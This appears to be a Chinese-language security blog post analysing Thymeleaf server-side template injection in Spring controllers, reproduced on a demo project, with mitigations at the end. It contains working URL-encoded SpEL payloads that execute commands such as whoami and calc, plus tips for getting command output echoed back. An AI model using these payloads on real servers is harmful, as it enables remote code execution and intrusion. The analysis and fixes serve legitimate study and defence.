thymeleaf-ssti
基础知识
- 变量表达式:
${...}
- 选择变量表达式:
*{...}
- 消息表达:
#{...}
- 链接 URL 表达式:
@{...}
- 片段表达式:
~{...}
只要没有选定的对象,美元(${…}
)和星号(*{...}
)的语法就完全一样
#{}
用来读取配置文件中的数据(通常是.properties文件)
片段表达式~{...}
可以用于引用公共的目标片段,比如可以在一个template/footer.html
中定义下面的片段,并在另一个template中引用。
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>
<div th:insert="~{footer :: copy}"></div>
- **
{templatename::selector}**,会在{footer :: copy}`/WEB-INF/templates/
目录下寻找名为templatename
的模版中定义的fragment
,如上面的` - **~{templatename}**,引用整个
templatename
模版文件作为fragment
- **~{::selector} 或 ~{this::selector}**,引用来自同一模版文件名为
selector
的fragmnt
预处理
语法:__${expression}__
官方文档对其的解释:
除了所有这些用于表达式处理的功能外,Thymeleaf 还具有预处理表达式的功能。
预处理是在正常表达式之前完成的表达式的执行,允许修改最终将执行的表达式。
预处理的表达式与普通表达式完全一样,但被双下划线符号(如
__${expression}__
)包围。
漏洞复现
我这里使用 spring-view-manipulation 项目来做漏洞复现。
templatename (有返回值的情况)
@GetMapping("/path")
public String path(@RequestParam String lang) {
return "user/" + lang + "/welcome"; //template path is tainted
}
要有返回值的路由才能获取ModelAndView
对象
POC
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
事实上因为最后都会拼接"/welcome"
,所以下面这样即可
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::
漏洞原理
当视图名中包含::
会执行下面的代码。
fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");
在StandardExpressionParser#parseExpression
中会通过preprocess
进行预处理,预处理根据该正则\\_\\_(.*?)\\_\\_
提取__xx__
间的内容,获取expression
并执行execute
方法。
最后通过SPEL执行表达式
所以__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
就没有问题,然后在语句前或后加上::
即可
但这里要注意若是执行像calc
这样的命令,::
的位置确实是无关紧要,但若是要执行whoami
这样有回显的命令的话,::
必须要放在语句的后面,具体原因往下看
然后在renderFragment
渲染的过程中,存在如下代码。
- 当TemplateName中不包含
::
则将viewTemplateName
赋值给templateName
。 - 如果包含
::
则代表是一个片段表达式,则需要解析templateName
和markupSelectors
。
当viewTemplateName为welcome :: header
则会将welcome解析为templateName
,将header解析为markupSelectors。
根据调试会知道最后会会显的是templateName
,所以::
必须要放在语句的后面
0x02 selector
Contorller :可控点变为了selector位置
@GetMapping("/fragment")
public String fragment(@RequestParam String section) {
return "welcome :: " + section; //fragment is tainted
}
已经设置好了 ::的位置
POC
若是calc的话直接即可,不需要::
和.
fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__
若是需要回显的话
要使用.
或/
结尾才能回显出报错页面看到结果
fragment?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__.
URI PATH (无返回值的情况)
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
按理说没有返回值ModelAndView
应该为空,但实际上DispatcherServlet#doDispatch
中,获取ModleAndView
后还会执行applyDefaultViewName
方法
applyDefaultViewName
中判断当ModelAndView
为空,则通过getDefaultViewName
获取请求路径作为ViewName
POC
有回显
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::x.x
若是执行calc这种
只需要一个.
即可
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.
无回显payload情况
/doc/__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
在StandardExpressionParser#parseExpression
,在preprocess
预处理结束后还会通过Expression.parse
进行一次解析,这里如果解析失败则不会回显。
下断点可以看到::
后没有内容,因此这里肯定是会失败的
但是我们在错误POC中也设置了::.x为什么会被去掉呢?
transformPath
中通过stripFilenameExtension
去除后缀,是这部分导致了.x
后内容为空。
因此我们只需要在.
之前加入任意数据即可
漏洞修复
配置ResponseBody或RestController注解
@GetMapping("/doc/{document}")
@ResponseBody
public void getDocument(@PathVariable String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
通过redirect:
根据springboot定义,如果名称以
redirect:
开头,则不再调用ThymeleafView
解析,调用RedirectView
去解析controller
的返回值
所以配置redirect:
主要影响的是获取视图的部分。在ThymeleafViewResolver#createView
中,如果视图名以redirect:
开头,则会创建RedirectView
并返回。所以不会使用ThymeleafView
解析。
方法参数中设置HttpServletResponse 参数
@GetMapping("/doc/{document}")
public void getDocument(@PathVariable String document, HttpServletResponse response) {
log.info("Retrieving " + document);
}
由于controller的参数被设置为HttpServletResponse,Spring认为它已经处理了HTTP
Response,因此不会发生视图名称解析。
声明下 这种方式只对返回值为空的情况下有效,对有返回值的情况没有作用
finally
上文所述的回显原理以及预处理表达式的相关问题同样适用于 2.x 版本
其实也就懂了一点分析流程,对于那些具体的templateName和selector仍然是没有理解,唉。。。
分析流程看参考文章里的吧,自己也不知道怎么写
reference
https://www.anquanke.com/post/id/254519
https://www.cnpanda.net/sec/1063.html
https://exp10it.io/2023/02/%E5%AF%B9-thymeleaf-ssti-%E7%9A%84%E4%B8%80%E7%82%B9%E6%80%9D%E8%80%83/